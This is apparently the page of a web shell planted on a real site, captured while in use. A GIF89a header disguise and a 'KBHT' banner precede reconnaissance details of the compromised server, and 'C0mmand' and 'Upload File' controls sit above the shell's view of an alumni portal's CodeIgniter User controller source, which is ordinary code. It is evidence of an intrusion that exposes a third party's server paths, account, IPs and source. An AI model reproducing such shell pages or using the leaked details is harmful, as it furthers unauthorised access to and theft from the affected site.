GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.15.239.0
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../grievance/../alumni/application/controllers/user/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../grievance/../alumni/application/controllers/user/User.php
<?php
/**
 * Description of User
 *
 * @author Softpro India Pvt. Ltd.
 */
class User extends CI_Controller {

    //put your code here
    public function __construct() {
        parent::__construct();
        $this->load->model("user/UserManagement");
        $this->load->model("admin/NotificationManagement");
        $this->load->model("admin/GallaryManagement");
        $this->load->model("user/JobManagement");
        $this->load->library('pagination');
    }

    public function getUsers($offset = 0) {

        if ($this->sessionvalidator->validateSession("userData")) {

            $searchKeyword = addslashes(trim($this->input->post("search")));
             $searchResultTotalCount = sizeof($this->UserManagement->getUsersNumRows($searchKeyword)->result());

            $config = [
                'base_url' => site_url("user/User/getUsers"),
                'per_page' => 4,
                'total_rows' => $searchResultTotalCount,
                'full_tag_open' => "<ul class='pagination justify-content-end'>",
                'full_tag_close' => "</ul>",
                'next_tag_open' => "<li class='page-item'>",
                'next_tag_close' => "</li>",
                'prev_tag_open' => "<li class='page-item'>",
                'prev_tag_close' => "</li>",
                'num_tag_open' => "<li class='page-item'>",
                'num_tag_close' => "<li>",
                'cur_tag_open' => "<li class='page-item active'><a class='page-link'>",
                'cur_tag_close' => "</a></li>",
                'attributes' => array('class' => 'page-link'),
                'prev_link' => "Prev",
                'next_link' => "Next"
            ];
            $this->pagination->initialize($config);
            $viewData["noOfTotalResult"] = $searchResultTotalCount;
            $viewData["per_page"] = $config['per_page'];
            $viewData["offset"] = $offset;
            $userData = $this->session->userdata("userData");
            $viewData["searchKeyword"] = $searchKeyword;

            $searchResult = $this->UserManagement->getUsers($searchKeyword, $config['per_page'], $offset)->result();
            //echo sizeof($searchResult);
            //exit;
            $viewData["searchResult"] = $searchResult;
            $viewData["notificationList"] = $this->NotificationManagement->getNotificationsForUserDashboard($userData["userid"], $userData["user_role"])->result();
            //echo $this->db->last_query();
            $this->load->view("user/searchResult", $viewData);
        } else {
            redirect("Home#loginModal");
        }
    }

    public function userDetails($userid) {
        if ($this->sessionvalidator->validateSession("userData")) {
            if(sizeof($this->UserManagement->getUserPersoanlAndProfileDetails($userid)->result())>0){
            $viewData["gallaryData"] = $this->GallaryManagement->getGalleryImagesByUserID($userid)->result();
            $viewData["jobData"] = $this->JobManagement->getJobsForAdminViewByUserID($userid)->result();
            $viewData["personalAndProfileData"] = $this->UserManagement->getUserPersoanlAndProfileDetails($userid)->result()[0];
            $userData = $this->session->userdata("userData");
            $viewData["notificationList"] = $this->NotificationManagement->getNotificationsForUserDashboard($userData["userid"], $userData["user_role"])->result();
            $this->load->view("user/userProfile", $viewData);
            }else{
                redirect("user/Dashboard");
            }
        } else {
            redirect("Home#loginModal");
        }
    }

}

KBHT - 2023